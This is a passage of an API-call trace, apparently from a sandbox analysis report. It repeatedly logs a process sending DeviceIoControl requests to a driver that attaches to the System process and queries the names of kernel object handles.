(Object=0xfffffa800216bbc0) returned 0x2 [0102.908] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.908] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.909] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0102.909] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.909] PsAcquireProcessExitSynchronization () returned 0x0 [0102.909] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.909] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021afae0, HandleInformation=0x0) returned 0x0 [0102.909] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.909] PsReleaseProcessExitSynchronization () returned 0x2 [0102.909] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.909] ObQueryNameString (in: Object=0xfffffa80021afae0, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.909] ObfDereferenceObject (Object=0xfffffa80021afae0) returned 0x2 [0102.909] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.909] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.909] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.909] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.909] PsAcquireProcessExitSynchronization () returned 0x0 [0102.909] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.909] ObReferenceObjectByHandle (in: Handle=0xffffffff800007c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800b3b5050, HandleInformation=0x0) returned 0x0 [0102.909] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.909] PsReleaseProcessExitSynchronization () returned 0x2 [0102.909] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.909] ObQueryNameString (in: Object=0xfffffa800b3b5050, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.909] ObfDereferenceObject (Object=0xfffffa800b3b5050) returned 0x2 [0102.909] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.909] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.909] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.909] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.910] PsAcquireProcessExitSynchronization () returned 0x0 [0102.910] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.910] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0102.910] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.910] PsReleaseProcessExitSynchronization () returned 0x2 [0102.910] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.910] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.910] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0102.910] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.910] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.910] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.910] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.910] PsAcquireProcessExitSynchronization () returned 0x0 [0102.910] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.910] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037c6dd0, HandleInformation=0x0) returned 0x0 [0102.910] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.910] PsReleaseProcessExitSynchronization () returned 0x2 [0102.910] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.910] ObQueryNameString (in: Object=0xfffffa80037c6dd0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.910] ObfDereferenceObject (Object=0xfffffa80037c6dd0) returned 0x2 [0102.910] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.910] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.910] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.910] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.910] PsAcquireProcessExitSynchronization () returned 0x0 [0102.910] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.911] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0102.911] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.911] PsReleaseProcessExitSynchronization () returned 0x2 [0102.911] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.911] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.911] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0102.911] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.911] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.911] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.911] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.911] PsAcquireProcessExitSynchronization () returned 0x0 [0102.911] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.911] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025be3b0, HandleInformation=0x0) returned 0x0 [0102.911] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.911] PsReleaseProcessExitSynchronization () returned 0x2 [0102.911] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.911] ObQueryNameString (in: Object=0xfffffa80025be3b0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.911] ObfDereferenceObject (Object=0xfffffa80025be3b0) returned 0x2 [0102.911] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.911] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.911] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.911] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.911] PsAcquireProcessExitSynchronization () returned 0x0 [0102.911] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.911] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0102.911] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.912] PsReleaseProcessExitSynchronization () returned 0x2 [0102.912] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.912] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.912] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0102.912] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.912] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.912] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.912] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.912] PsAcquireProcessExitSynchronization () returned 0x0 [0102.912] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.912] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0102.912] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.912] PsReleaseProcessExitSynchronization () returned 0x2 [0102.912] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.912] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.912] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0102.912] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.912] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.912] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.912] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.912] PsAcquireProcessExitSynchronization () returned 0x0 [0102.912] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.912] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f08050, HandleInformation=0x0) returned 0x0 [0102.912] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.912] PsReleaseProcessExitSynchronization () returned 0x2 [0102.912] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.912] ObQueryNameString (in: Object=0xfffffa8001f08050, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.912] ObfDereferenceObject (Object=0xfffffa8001f08050) returned 0x2 [0102.912] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.912] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.912] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0102.913] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.913] PsAcquireProcessExitSynchronization () returned 0x0 [0102.913] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.913] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0102.913] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.913] PsReleaseProcessExitSynchronization () returned 0x2 [0102.913] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.913] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.913] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0102.913] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.913] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.913] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.913] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.913] PsAcquireProcessExitSynchronization () returned 0x0 [0102.913] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.913] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037adf20, HandleInformation=0x0) returned 0x0 [0102.913] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.913] PsReleaseProcessExitSynchronization () returned 0x2 [0102.913] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.913] ObQueryNameString (in: Object=0xfffffa80037adf20, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.913] ObfDereferenceObject (Object=0xfffffa80037adf20) returned 0x2 [0102.913] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.913] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.913] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.913] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.101] PsAcquireProcessExitSynchronization () returned 0x0 [0103.101] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.101] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80037b3690, HandleInformation=0x0) returned 0x0 [0103.101] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.101] PsReleaseProcessExitSynchronization () returned 0x2 [0103.101] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.101] ObQueryNameString (in: Object=0xfffffa80037b3690, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.101] ObfDereferenceObject (Object=0xfffffa80037b3690) returned 0x2 [0103.101] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.101] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.101] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.101] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.101] PsAcquireProcessExitSynchronization () returned 0x0 [0103.101] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.101] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0103.101] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.101] PsReleaseProcessExitSynchronization () returned 0x2 [0103.101] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.102] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.102] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0103.102] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.102] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.102] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.102] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.102] PsAcquireProcessExitSynchronization () returned 0x0 [0103.102] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.102] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034955f0, HandleInformation=0x0) returned 0x0 [0103.102] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.102] PsReleaseProcessExitSynchronization () returned 0x2 [0103.102] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.102] ObQueryNameString (in: Object=0xfffffa80034955f0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.102] ObfDereferenceObject (Object=0xfffffa80034955f0) returned 0x2 [0103.102] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.102] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.102] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.102] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.102] PsAcquireProcessExitSynchronization () returned 0x0 [0103.102] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.102] ObReferenceObjectByHandle (in: Handle=0xffffffff80000818, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022b2f20, HandleInformation=0x0) returned 0x0 [0103.102] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.102] PsReleaseProcessExitSynchronization () returned 0x2 [0103.102] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.102] ObQueryNameString (in: Object=0xfffffa80022b2f20, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.102] ObfDereferenceObject (Object=0xfffffa80022b2f20) returned 0x2 [0103.102] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.102] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.102] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.102] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 